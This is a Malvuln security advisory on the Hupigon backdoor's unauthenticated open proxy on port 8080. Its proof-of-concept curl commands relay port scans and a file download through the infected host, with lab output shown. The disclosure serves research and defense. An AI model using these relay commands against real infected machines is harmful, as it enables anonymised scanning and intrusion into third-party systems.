Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5d7908e7e95d0eb4a7351d24605e62a6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.abe
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080.  Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 5d7908e7e95d0eb4a7351d24605e62a6
Vuln ID: MVID-2021-0322
Dropped files: cn.exe
Disclosure: 08/30/2021

Exploit/PoC:
Scan ports)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <17900.1630346994@pop3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  255k


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